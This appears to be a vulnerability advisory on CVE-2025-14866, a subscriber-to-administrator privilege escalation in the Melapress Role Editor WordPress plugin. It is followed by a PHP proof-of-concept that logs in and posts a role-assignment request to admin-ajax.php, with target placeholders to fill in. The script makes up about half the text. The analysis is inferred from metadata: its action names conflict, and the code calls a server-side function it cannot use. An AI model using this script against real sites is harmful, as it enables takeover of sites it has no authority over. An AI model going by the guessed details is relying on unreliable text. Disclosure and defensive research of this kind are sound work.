Atomic Edge analysis of CVE-2025-14866 (metadata-based):
The Melapress Role Editor plugin for WordPress, up to and including version 1.1.1, contains an incorrect authorization vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to escalate their privileges by assigning themselves additional roles, including Administrator. The CVSS score of 8.8 (High) reflects the low attack complexity and high impact on confidentiality, integrity, and availability.
Atomic Edge research indicates the root cause is a misconfigured capability check on the `save_secondary_roles_field` function. The CWE-863 classification confirms an authorization mechanism incorrectly grants access to a resource for an actor. Without a code diff, this analysis infers the plugin likely hooks an AJAX action or admin POST handler. The function fails to verify the current user has the proper administrative capability, such as `manage_options` or `promote_users`, before processing role assignment requests.
Exploitation requires an authenticated attacker with any valid WordPress account. The attacker would send a crafted POST request to the WordPress AJAX or admin-post endpoint. The request targets the vulnerable action, inferred to be `melapress_role_editor_save_secondary_roles_field` based on the plugin slug and function name. The payload includes parameters like `user_id` and `secondary_roles[]` containing the target role slugs, such as `administrator`. The attack bypasses intended authorization checks entirely.
Remediation requires implementing a proper capability check within the vulnerable function. The patched version 1.2.0 likely added a conditional statement verifying the current user has the `promote_users` capability or a custom administrative capability before processing the role assignment. The fix may also involve adding or validating a nonce to ensure request intent, though the primary failure is the missing authorization check.
Successful exploitation grants the attacker full administrative control of the WordPress site. An attacker can create new admin accounts, modify or delete any content, install malicious plugins or themes, and execute arbitrary code through plugin or theme editors. This complete compromise leads to data theft, defacement, and further server-side attacks.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14866 - Melapress Role Editor <= 1.1.1 - Improper Authorization to Authenticated (Subscriber+) Privilege Escalation via Secondary Role Assignment
<?php
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS - any valid low-privilege username
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate to WordPress and obtain cookies/nonce.
// This PoC assumes the plugin uses the standard admin-ajax.php endpoint and a predictable AJAX action.
// The vulnerable function 'save_secondary_roles_field' suggests the AJAX action hook is 'wp_ajax_save_secondary_roles_field'.
// The WordPress AJAX system prefixes the action with 'wp_ajax_', so the action parameter is likely 'save_secondary_roles_field'.
$ajax_action = 'save_secondary_roles_field';
// Login to obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only
$login_response = curl_exec($ch);
// Step 2: Exploit the missing capability check to assign the Administrator role.
// The plugin likely expects a user ID and an array of secondary role slugs.
// We target the current user's ID (self-assignment) and add the 'administrator' role.
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => $ajax_action,
'user_id' => get_current_user_id(), // In a real attack, the attacker would need to determine their user ID, often via /wp-admin/profile.php.
'secondary_roles' => array('administrator') // Parameter name inferred; could be 'secondary_roles[]'
);
// Since we cannot reliably get the user ID without parsing admin pages, this PoC demonstrates the request structure.
// A more complete exploit would first fetch the user's profile to obtain their numeric ID.
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$exploit_response = curl_exec($ch);
curl_close($ch);
echo "Login Response (first 500 chars): " . substr($login_response, 0, 500) . "nn";
echo "Exploit Request to: " . $exploit_url . "n";
echo "Exploit Payload: " . http_build_query($exploit_data) . "n";
echo "Exploit Response: " . $exploit_response . "n";
// Note: This PoC is based on metadata inference. The exact parameter names (e.g., 'secondary_roles' vs 'secondary_roles[]')
// and the method of specifying the user ID may vary. Successful exploitation would be confirmed by checking the user's roles in the dashboard.
?>
